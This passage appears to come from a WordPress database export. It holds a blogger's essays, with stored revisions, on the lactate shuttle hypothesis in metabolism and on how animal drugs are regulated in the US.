somewhere in the body, then lactate can easily be cleared out by aerobic metabolism.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Discussion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To be honest, I don’t have a strong opinion about whether this hypothesis is actually correct. I feel a little too uncomfortable with biochemistry, especially because so much of this argument hinges on isotope-tracing, which is not a technique I’m super familiar with in the human body. But, I will say this isn’t a niche position. The paper I linked to above is by a Princeton professor, and it’s been cited over 400 times since 2020.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let’s pretend, for a second, that this is correct. How does this help solve our mysteries? Well, for one thing, it’s an additional control on glucose and, by extension, on insulin. From there, we can get additional controls on fat.&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8195466/\">Obesity does seem to raise lactate levels</a>, and weight loss does seem to lower it, although it’s difficult to say how fast it lowers it. Whether this is directly through lowered oxygen or by some other mechanism remains to be seen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think the best experiments to do would be looking at how rapid interventions, like insulin administration, GLP-1 and GIP agonists and antagonists, and gastric bypass surgery impact lactate consumption and production, especially before there could be any impact on oxygen (i.e. before significant weight loss). It’d be especially interesting if it could be shown to have some impact that’s unrelated to the mitochondria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, as mentioned, I’m still unsure about the details. So if you, dear reader, have any interest in this, please let me know your thoughts. I’d love to hear them!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-anchor-1-146016035\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quick reminder of how this system is traditionally understood to work:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You eat and digest a strawberry. This increases the glucose in your blood. If this blood glucose gets high enough, your pancreas releases insulin. The insulin prompts your cells to take up glucose. Some of this glucose goes immediately through glycolysis, where it can be used for very short term storage (pyruvate) on the way to being converted to NADH (other very short term storage) or ATP (immediate fuel).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pyruvate can only be converted to NADH or ATP by the electron-transport chain in the mitochondria, which requires oxygen, or lactate dehydrogenase, which doesn’t.&nbsp; Other parts of this glucose is converted to glycogen through glycogenesis, which is medium term storage in your liver and muscles. If there’s excess glucose, it will be converted to fatty acids and eventually fat (long term storage), which also requires the mitochondria, unlike glycogenesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An hour later, you work out and your muscles require energy. They take up glucose from your blood and your blood glucose drops. Your pancreas secretes glucagon. This prompts your liver and muscles to convert their glycogen (medium term storage) into glucose (short term storage) and release it into the bloodstream, raising your blood glucose level. This also prompts your liver to try to convert other substances into glucose, including lactate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-anchor-2-146016035\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-way-scientists-think-about-obesity\">Quoting from my own article</a>: It’s true that obesity tends to lead to type 2 diabetes, which leads to underproduction of insulin and insulin resistance. However, directly administering insulin tends to lead to weight gain. Also, insulin resistance goes away almost immediately upon any amount of weight loss, and then re-establishes itself on any amount of weight gain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, both fat cell creation (lipogenesis) and fat cell destruction (lipolysis) also lead to drops in insulin resistance. Oh, and also, pretty much any medication that interacts with GLP-1 receptors or GIP receptors, whether agonizing them or antagonizing them, leads to insulin secretion.</p>\n<!-- /wp:paragraph -->','Is lactate as important as glucose for metabolism?','','publish','closed','closed','','is-lactate-as-important-as-glucose-for-metabolism','','','2025-07-03 18:59:42','2025-07-03 18:59:42','',0,'https://trevorklee.com/?page_id=468',0,'page','',0),
(469,1,'2025-07-03 18:59:42','2025-07-03 18:59:42','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before I start this essay, I have to apologize in advance: it’s going to get wonky. But, I think it’s important, so stay with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been puzzled for a while about the whole insulin/glucose system<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-1-146016035\">1</a>. The traditional story, where insulin and glucagon keep your blood sugar in check, while obesity causes insulin resistance and underproduction and so mess up the blood sugar system, works only up to a point. There are a bunch of holes, though, starting with how there’s no consistent relationship with fat and insulin or insulin resistance<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-2-146016035\">2</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve speculated before that there’s probably some missing pieces to the story. It’s really hard to break out of the insulin/glucose model in relation to diabetes and obesity, but we need to, because these are human diseases and a human way of looking at the energy system. Insulin is found across the animal kingdom (including, in a modified form,&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/24348428/\">in insects</a>), and glucose is used, well, everywhere. Even prokaryotes use glucose. Trying to understand insulin and glucose by only looking at humans is like understanding eyesight by only looking at human eyes. Like yes, it’s somewhat informative, but a lifetime of studying human eyes would not prepare you for the mantis shrimp.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!s8Ts!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38835f77-e4e6-430c-bad2-024c3e3fcf80_926x450.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!s8Ts!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38835f77-e4e6-430c-bad2-024c3e3fcf80_926x450.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Mantis shrimps have famously complex eyes, which can move independently and can detect polarized light. There’s currently&nbsp;<a href=\"https://journals.biologists.com/jeb/article/225/6/jeb243699/274835/Colour-vision-in-stomatopod-crustaceans-more\">a lively debate</a>&nbsp;on whether this actually yields better color vision than humans. Regardless, their eyes are really weird, especially compared to humans’.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>While doing research for my last blog on the strange case of the frozen painted turtles, I came across what I think may be some missing piece of the puzzle. If you recall, in my last blog, I introduced to you (or more likely, re-introduced to you) anaerobic respiration. Anaerobic respiration ends up being a big deal for painted turtles because they hide underwater or under mud for the entire winter, which means they have to deal with very low oxygen conditions for months at a time. They deal with this by having their cells switch solely to lactate fermentation, but that raises the issue of lactic acid buildup, which turtles deal with by adding calcium lactate to their cells.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While doing research for my turtle post, I started to realize that I didn’t know much about lactate. All I knew was lactate as a waste product that could also be used as a fuel, sort of like if your car produced canola oil from its exhaust. On the one hand, that would probably be useful to burn if your car’s equipped for it. On the other hand, it’d result in canola oil everywhere, so it can very easily turn into more of a hindrance than a help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This idea of “lactate as waste product that can also be used as fuel” is in line with how pretty much everyone thinks about lactate, as far as I can tell. That’s what the standard line when I was looking at turtles was. But that seemed unsatisfactory to me. Lactate is everywhere. Even the organisms that can’t easily excrete lactate, like deep sea fish, use lactate as an energy source temporarily before&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1242/jeb.060236\">converting into ethanol and excreting it</a>. It’s weird to think of such a universal energy source as a waste product. If every car constantly generated canola oil from its exhaust and used it as fuel, you might just think that the canola oil pipe isn’t a waste product that coincidentally cars can use as fuel. You’d think it was just another part of how cars work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, maybe lactate is just part of how cells work. Maybe there’s a really good reason it’s everywhere, and not just because it’s a necessary evil. Maybe there’s something particularly useful about it. Would make sense, no?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The Lactate Shuttle Hypothesis</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Well, apparently, I’m not the only one who’s thought lactate might actually be quite useful. Others also have thought the same thing since at least the 80s under the name the “<a href=\"https://en.wikipedia.org/wiki/Lactate_shuttle_hypothesis\">lactate shuttle hypothesis</a>”. Basically, the theory goes that lactate, far from being a waste product, is actually a universal energy transporter. It’s like oil: definitely a problem if it accumulates in the wrong place, but actually really useful as a means of transferring energy around the body in a way that glucose is not. Because, although glucose is energy dense, it’s also highly specific, and can only be transported by glucose transporters.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactate, in this hypothesis, is less energy dense but more easily transported or “shuttled”. So, in this view, glucose ends up being the fuel for the most important cells which tend to have glucose transporters, like the brain or the immune system, but, whenever there’s a lack of glucose transporters, lactate is there to carry the energy away to be used somewhere else.<br><br>To go back to the canola oil analogy, it’d be like if we had a limited number of trucks that could carry gasoline, but any guy with a jug could carry canola oil. So, the gasoline trucks end up preferentially carrying the gasoline to the most important places (like a military installation or a hospital), but, whenever we run out of gasoline trucks (or there are too many gasoline trucks on a single road and there’s a traffic jam), we convert the gasoline to canola oil, pour it in a jug, and tell the nearest guy, “Hey, go find someone who needs energy”. Whoever’s left that needs energy gets canola oil, which is better than nothing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a big claim, of course. It brings lactate from the sidelines to the center of the action. So, like any big claim, it requires some big evidence. Fortunately, we have some, courtesy of&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1038/s42255-020-0243-4\">this paper</a>, which also was the paper that introduced me to the lactate shuttle idea. The paper is a little confusingly organized, but it can basically be understood as presenting the reasons why people didn’t think lactate was a central fuel source and the reasons why the paper thinks these people are wrong. So, that’s how I’m going to organize my summary of the paper’s evidence as well. I’m going to put why people didn’t think lactate was central in italics, and the paper’s rebuttals in normal font.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Evidence for the lactate shuttle hypothesis</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>1. Cultured mammalian cells prefer glucose and grow very well on it.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s an artifact of how cultured mammalian cells are grown. Most of them are grown in mediums with serum growth factors, glucose, and no lactate. So, of course they’d prefer glucose. And, when they do end up producing lactate (which most of them do, even in oxygen rich conditions), that lactate gets swept away every time the medium gets changed and the cells get a whole new batch of glucose. So, these cultured mammalian cells have basically no constraints on the amount of glucose they can metabolize or the amount of lactate they can secrete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you made cultured mammalian cells grow in mediums that more closely resemble natural conditions (i.e. a mostly stagnant mix of 5 mM glucose and 1mM lactate), you’d see that they also like to metabolize lactate as their glucose transporters get overwhelmed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. When you look at the arterial-venous differential of glucose vs. lactate, you see there’s approximately a 5:1 glucose:lactate metabolite ratio. This suggests that most of the metabolism that’s going on is metabolism of glucose, and a minority of the metabolism is lactate. That minority is just the conversion of lactate waste to glucose fuel.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is just because lactate has a really rapid turnover. So glucose is taken up slowly and metabolized slowly, so you end up with large, slow-moving pools of glucose metabolites. Meanwhile, lactate is exchanged rapidly and diffused throughout the body, so you don’t end up with large pools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is supported by isotope-tracing measurements, where glucose and lactate are radioactively labeled and introduced into the bloodstream. It’s possible to then see how rapidly the radioactive glucose and lactate are diluted by endogenous production (i.e. faster production of lactate results in faster dilution). Using this, we see that lactate production is consistently twice that of glucose on a molar basis, so equal to glucose on a per-carbon basis (lactate is 3 carbons, glucose is 6 carbons). If they’re equal, this puts lactate at least in as central a role as glucose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>3. The brain, the most important organ, uses glucose directly.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, but all the other organs prefer glucose is converted to lactate, according to isotope tracing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>4. Glucose is needed for really important functions: brain, immune system, glycogen, glycosylation. There are no functions or organs that need lactate.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exactly! It’s not that glucose isn’t important. It’s just that it’s not universal. Glucose gets reserved for the most important functions and organs, and lactate gets used for everything else. This is supported by the fact that the vast majority of glucose is taken up by functions that need glucose, but lactate gets taken up equally almost everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>5. Lactate accumulation is dangerous. There’s no way it could be a central energy source.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too much lactate in one place is dangerous, yes. But lactate is well-mixed and exchanges rapidly. As long as glycolysis and the citric acid cycle are still happening at a normal rate somewhere in the body, then lactate can easily be cleared out by aerobic metabolism.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Discussion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To be honest, I don’t have a strong opinion about whether this hypothesis is actually correct. I feel a little too uncomfortable with biochemistry, especially because so much of this argument hinges on isotope-tracing, which is not a technique I’m super familiar with in the human body. But, I will say this isn’t a niche position. The paper I linked to above is by a Princeton professor, and it’s been cited over 400 times since 2020.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let’s pretend, for a second, that this is correct. How does this help solve our mysteries? Well, for one thing, it’s an additional control on glucose and, by extension, on insulin. From there, we can get additional controls on fat.&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8195466/\">Obesity does seem to raise lactate levels</a>, and weight loss does seem to lower it, although it’s difficult to say how fast it lowers it. Whether this is directly through lowered oxygen or by some other mechanism remains to be seen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think the best experiments to do would be looking at how rapid interventions, like insulin administration, GLP-1 and GIP agonists and antagonists, and gastric bypass surgery impact lactate consumption and production, especially before there could be any impact on oxygen (i.e. before significant weight loss). It’d be especially interesting if it could be shown to have some impact that’s unrelated to the mitochondria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, as mentioned, I’m still unsure about the details. So if you, dear reader, have any interest in this, please let me know your thoughts. I’d love to hear them!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-anchor-1-146016035\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quick reminder of how this system is traditionally understood to work:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You eat and digest a strawberry. This increases the glucose in your blood. If this blood glucose gets high enough, your pancreas releases insulin. The insulin prompts your cells to take up glucose. Some of this glucose goes immediately through glycolysis, where it can be used for very short term storage (pyruvate) on the way to being converted to NADH (other very short term storage) or ATP (immediate fuel).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pyruvate can only be converted to NADH or ATP by the electron-transport chain in the mitochondria, which requires oxygen, or lactate dehydrogenase, which doesn’t.&nbsp; Other parts of this glucose is converted to glycogen through glycogenesis, which is medium term storage in your liver and muscles. If there’s excess glucose, it will be converted to fatty acids and eventually fat (long term storage), which also requires the mitochondria, unlike glycogenesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An hour later, you work out and your muscles require energy. They take up glucose from your blood and your blood glucose drops. Your pancreas secretes glucagon. This prompts your liver and muscles to convert their glycogen (medium term storage) into glucose (short term storage) and release it into the bloodstream, raising your blood glucose level. This also prompts your liver to try to convert other substances into glucose, including lactate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-anchor-2-146016035\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-way-scientists-think-about-obesity\">Quoting from my own article</a>: It’s true that obesity tends to lead to type 2 diabetes, which leads to underproduction of insulin and insulin resistance. However, directly administering insulin tends to lead to weight gain. Also, insulin resistance goes away almost immediately upon any amount of weight loss, and then re-establishes itself on any amount of weight gain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, both fat cell creation (lipogenesis) and fat cell destruction (lipolysis) also lead to drops in insulin resistance. Oh, and also, pretty much any medication that interacts with GLP-1 receptors or GIP receptors, whether agonizing them or antagonizing them, leads to insulin secretion.</p>\n<!-- /wp:paragraph -->','Is lactate as important as glucose for metabolism?','','inherit','closed','closed','','468-revision-v1','','','2025-07-03 18:59:42','2025-07-03 18:59:42','',468,'https://trevorklee.com/?p=469',0,'revision','',0),
(470,1,'2025-07-03 19:01:27','2025-07-03 19:01:27','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a bit that I do when people ask me what I do. I say, “I work on drugs for cats!”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then they say, “What kind of drugs?”<br><br>And I say, “Oh, you know, methamphetamine, LSD, those types of drugs.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!cqmb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ccba817-81dd-4a3f-8bfc-9fd1106c834c_1792x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!cqmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ccba817-81dd-4a3f-8bfc-9fd1106c834c_1792x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I spent a while trying to get DALL-E to generate this image. It didn’t like “cat on drugs”, but it was ok with “happy, energetic cat on caffeine with pill bottle”. For some reason it insisted on labeling the pill bottle happy, though. Ah, well, we must imagine the pill bottle happy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br>This entertains me but sometimes shuts down the conversation. If the conversation continues, however, and I reveal that I’m actually working on therapeutics for serious feline diseases, the conversation often turns to the regulatory environment around animal drugs. People want to know if there’s any regulatory environment at all, or if it’s less strict than the human regulatory environment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading. If you want to read more about animal drugs, consider subscribing. If you want to fund my animal drug development habit, consider paying for a subscription.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are the short answers to those questions:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Yes, there is a regulatory environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Yes, it is less strict than regulation of human drugs, but it’s comparable in terms of what studies you have to run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the longer answers, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, with regards to the regulatory environment that exists, I oversimplify by referring to the animal FDA, which is technically known as the Center for Veterinary Medicine, or CVM<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-1-146251914\">1</a>. There are actually roughly 5 different regulatory paths for animal drugs with different expectations for each path:<br><br>1. Novel small molecule drugs for pets</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Novel small molecule drugs for livestock</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Repurposed small molecules for pets or livestock</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Novel or repurposed small molecules for “minor uses and minor species” or MUMS&nbsp;<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-2-146251914\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Biologics, including vaccines and monoclonal antibodies, which for historical reasons are regulated by the USDA<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-3-146251914\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Literally all of these paths are easier than doing human drugs. While you generally have to show safety and efficacy<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-4-146251914\">4</a>, you can do a lot of work in your target species, including efficacy studies if you can figure out how to do it ethically. The stricter, IRB-type regulations only come in when you deal with client-owned pets or livestock, but, even still, injuring or killing someone’s pet is not as serious as injuring or killing a person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only additional burdens that these regulatory paths can pose that would not be a problem in human drugs is, well, how they’d impact humans. Not only do people sometimes eat the animals that are given drugs (hopefully only if they’re livestock), but even pet animals sometimes poop in humans’ beds or lick their faces. It would be really bad if people got sick from the drugs those animals were taking.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, developing animal drugs is cheaper and simpler than developing human drugs. The regulators themselves reflect that, too. The animal FDA regulators are, generally, friendlier than the human FDA regulators, and tend to be more “veterinarians who are temporary regulators” than the full-time, professional regulators of the human FDA. This is generally a good thing for drug companies, although the lack of sophistication of the animal FDA can sometimes be a detriment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This lack of regulation extends to the payer environment, too. Vets can technically prescribe any drug they want to, they usually have their own pharmacy, and almost all veterinary spending (about 85%) is out of pocket by the owner of the animal. So, all the complicated bits of dealing with insurance, pharmacy benefit managers, and Medicare are thrown out of the window.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, this also impacts revenue. There’s only so much people can pay out of pocket (or are willing to for their animals), and animal drugs that cost more than, say, $10k/year are still so niche as to be almost non-existent. My rule of thumb is that drugs developed for animals cost 10x less than their comparable drugs in humans, but also they make 10x less in revenue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s my super short rundown of the animal regulatory environment. I tried not to get too into the weeds, but I thought it’d be helpful to give people a broad overview.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-1-146251914\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is similar to how people oversimplify by referring to the FDA as a whole, when, actually, the FDA regulates a ton of things, and different departments regulate differently. Even in drugs, it makes a big difference whether your drug ends up being regulated by CDER, which handles normal drugs, or CBER, which handles biologics. Then it can make a big difference which department in the FDA is regulating your drug, because the Division of Neurology is a very different vibe than the Division of Oncology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-2-146251914\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is actually a super interesting regulatory pathway. If an animal drug treats a rare disease or a minor species, defined as not horses, dogs, cats, cattle, pigs, turkeys, or chickens, and people won’t eat the animal while it’s getting the drug, the drug has a very low bar for getting approved. Often, you don’t need to run any real studies at all. The most common place this path comes up is in aquaculture when dealing with fish fry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-3-146251914\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Basically, when the regulatory paths were set up, the only biologics that existed were vaccines for livestock, which the USDA claimed as their territory. Now the world is very different, and the best-selling drugs in animals are pet monoclonal antibodies, but still the USDA holds onto its fiefdom. I haven’t had to deal with the USDA so my information about them is secondhand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-4-146251914\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The exceptions are in MUMS, as I explain in footnote 2, and, recently, in drugs which get a “reasonable expectation of effectiveness” nod or RXE. If you successfully argue to the FDA that your animal disease is both important and difficult to run an efficacy trial in, you can get your drug temporarily approved for sale for 4.5 years as you run that efficacy trial. Then, at the end of the 5th year, your drug is either actually approved or pulled off the market. This is a weird pathway, but potentially very lucrative and everyone in the animal health space is watching it. If you’re aware of Loyal, it’s the one that Loyal is going down for its dog aging drug.&nbsp;</p>\n<!-- /wp:paragraph -->','A short rundown of how animal drugs are regulated','','publish','closed','closed','','a-short-rundown-of-how-animal-drugs-are-regulated','','','2025-07-03 19:01:27','2025-07-03 19:01:27','',0,'https://trevorklee.com/?page_id=470',0,'page','',0),
(471,1,'2025-07-03 19:01:27','2025-07-03 19:01:27','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a bit that I do when people ask me what I do. I say, “I work on drugs for cats!”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then they say, “What kind of drugs?”<br><br>And I say, “Oh, you know, methamphetamine, LSD, those types of drugs.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!cqmb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ccba817-81dd-4a3f-8bfc-9fd1106c834c_1792x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!cqmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ccba817-81dd-4a3f-8bfc-9fd1106c834c_1792x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I spent a while trying to get DALL-E to generate this image. It didn’t like “cat on drugs”, but it was ok with “happy, energetic cat on caffeine with pill bottle”. For some reason it insisted on labeling the pill bottle happy, though. Ah, well, we must imagine the pill bottle happy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br>This entertains me but sometimes shuts down the conversation. If the conversation continues, however, and I reveal that I’m actually working on therapeutics for serious feline diseases, the conversation often turns to the regulatory environment around animal drugs. People want to know if there’s any regulatory environment at all, or if it’s less strict than the human regulatory environment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading. If you want to read more about animal drugs, consider subscribing. If you want to fund my animal drug development habit, consider paying for a subscription.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are the short answers to those questions:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Yes, there is a regulatory environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Yes, it is less strict than regulation of human drugs, but it’s comparable in terms of what studies you have to run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the longer answers, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, with regards to the regulatory environment that exists, I oversimplify by referring to the animal FDA, which is technically known as the Center for Veterinary Medicine, or CVM<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-1-146251914\">1</a>. There are actually roughly 5 different regulatory paths for animal drugs with different expectations for each path:<br><br>1. Novel small molecule drugs for pets</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Novel small molecule drugs for livestock</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Repurposed small molecules for pets or livestock</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Novel or repurposed small molecules for “minor uses and minor species” or MUMS&nbsp;<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-2-146251914\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Biologics, including vaccines and monoclonal antibodies, which for historical reasons 